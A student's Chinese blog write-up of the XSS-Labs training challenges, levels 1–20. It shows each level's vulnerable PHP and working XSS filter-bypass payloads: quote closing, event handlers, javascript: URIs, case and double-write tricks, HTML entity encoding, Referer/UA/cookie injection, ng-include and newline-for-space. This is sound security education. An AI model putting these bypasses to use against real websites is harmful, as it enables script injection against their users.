XSS-Labs-wp By.Starven

发布于 2024-01-22  116 次阅读


Less01

很明显的注入点在get参数name,反射性xss

image.png

进行传参,没有任何过滤

image.png

Less02

查看网页源码:可以发现表单部分是value的值,因此闭合双引号即可

image.png
"><script>alert('starven hacked you!')</script>

html源码变成

<input name=keyword  value=""><script>alert('starven hacked you!')</script>">
image.png

Less03-突破htmlspecialchars

原以为查看源码发现和上一关相比这一关就是单引号闭合而已

结果输入之后再次查看源码发现符号也被实体化了

image.png

然后查看后端代码,部分如下

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
image.png

预定义为实体的字符是:

- & (和号)成为 &amp;
- " (双引号)成为 &quot;
- ' (单引号)成为 '
- < (小于)成为 &lt;
- > (大于)成为 &gt;

因此在表单添加鼠标点击(<>和"都可以被显示,双引号也可以拿来闭合,只是<>知识字符串显示而不是脚本标签了)

1' onclick='alert("starven hacked you!")

页面源码变为

<input name=keyword  value='1' onclick='alert(starven hacked you!)'>
image.png

Less04-双引号闭合注入

html源码

image.png

和上一关一样,双引号闭合而已

1" onclick="alert('starven hacked you!')
image.png

看了一下后端代码,其实是对尖括号进行了置空

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Less05-<a href>标签法&js伪协议

经过人工测试发现

<script     <scr_ipt

onclick     o_nclike

后端代码也确实是

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里我采用js伪协议:

javascript:alert(1) 使用了js伪协议,就是把javascript: :后面的代码当JavaScript来执行

页面源码:

<input name=keyword  value="<scr_ipt>alert(1)</script>">

payload:

"><a href=javascript:alert(1)>starven</a>//

or

"><a href="javascript:alert(1)">
image.png
image.png

Less06-大小写

有了更多的过滤

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

但是我们发现并没有转小写

payload

"><Script>alert('1')</script>//
image.png

Less07双写

多了转小写的操作

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

全是置空操作,因此采取双写绕过

payload

"><scscriptript>alert('1')</scrscriptipt>//
image.png

Less08-html实体绕过关键字过滤

黑名单过滤挺严格的,但是可以采用html实体绕过

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

payload:

javascript:alert(1)

变换后:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

然后点一下友情链接

payload解释:

后端源码可以看到传的参进入两个地方

echo '


友情链接

';

html实体绕过有&,因此实体绕过也无法突破htmlspecialchars

所以传参点只有通过<a href="'.$str7.'">友情链接</a>这里了

附一个https://www.qqxiuzi.cn/bianma/zifushiti.php在线网站

image.png

Less09-html实体绕过+白名单

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

代审变换一下payload就可以了,这个白名单不看后端代码感觉不可能想得到

payload:

javascript:alert(1)//http://

变换后:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
image.png

Less10-前端突破hidden

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

按照常规套路,看看页面源码

image.png

表格部分hidden了,改成text即可

image.png

payload

?keyword=well%20done!&t_sort=1" onclick="alert(1)失败

?keyword=well%20done!&t_sort=1" type="text" onclick="alert(1)成功

对比两个payload,其实显而易见,不text的话点都点不了啊

image.png

Less11-referer头突破hidden

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

emmm看了下代码头部信息注入了,这里是referer头

payload:和上一关一样

referer: 1" type="text" onclick="alert(1)>//

or

referer: 1" type="text" onclick="alert(1)
image.png
image.png

Less12-ua头突破hidden

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

其实看前端代码也能一眼看出

image.png

一样的payload,ua头注入罢了

image.png

Less13-cookie头突破hidden

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

cookie头注入

image.png
image.png

Less14-图片马exif信息注入

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

看了一下后端代码,没想到居然是个纯前端

没啥交互,但是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧

尝试了一下js伪协议,可是并没有进入下一关

image.png

然后去看了看wp说是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果,跳过了

image.png

Less15-ng-include包含+可替代触发标签

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。意思是可以打开外部的网页文件,如果包涵的内容是地址,需要加引号

image.png

引用比较受限,只好引用第一关的了

这里不能包含那些直接弹窗的东西如<script>,但是可以包含那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我使用img标签,可参考XSS常见的触发标签,构造payload

?src='level1.php?name=<img src=1 onerror=alert(1)>'
image.png

Less16-空格绕过+可替代标签

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("        ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

payload:空格被ban可以用/绕过但是也被ban,换行符啥的%0a都可以,可替代标签沿用上一关的img

?keyword=<img%0asrc=1%0aonerror=alert(1)>

Less17-embed标签拼接绕过

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
image.png

emmm因为浏览器基本不支持flash了,所以我改了一下后端代码swf文件为一张图

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域

当?arg01=a&arg02=b的时候是这个样子

image.png

虽然加了html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上

可以通过onclick onfocus onmouseover进行绕过

payload:

?arg01=a&arg02=a onmouseover=alert()     这个可以firefox成功
?arg01=a&arg02=a%20onclick=alert()       这个firefox不成功,edge成功这我也不知道为啥

分别html源码变成

image.png
image.png

Less18-embed标签拼接绕过

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

直接拿上一关payload打

Less19&20-flashxss&反编译

<?php
ini_set("display_errors", 0);
echo '<embed src="index.png?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

emmm因为有实体化函数所以无法进行闭合

然后看到文章写需要flash xss注入,所以pass

reference

https://www.freebuf.com/articles/web/338123.html
https://blog.csdn.net/l2872253606/article/details/125638898?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170590790316800192266120%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170590790316800192266120&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-125638898-null-null.142^v99^pc_search_result_base3&utm_term=xss-labs&spm=1018.2226.3001.4187

大一在读菜鸡ctfer的成长记录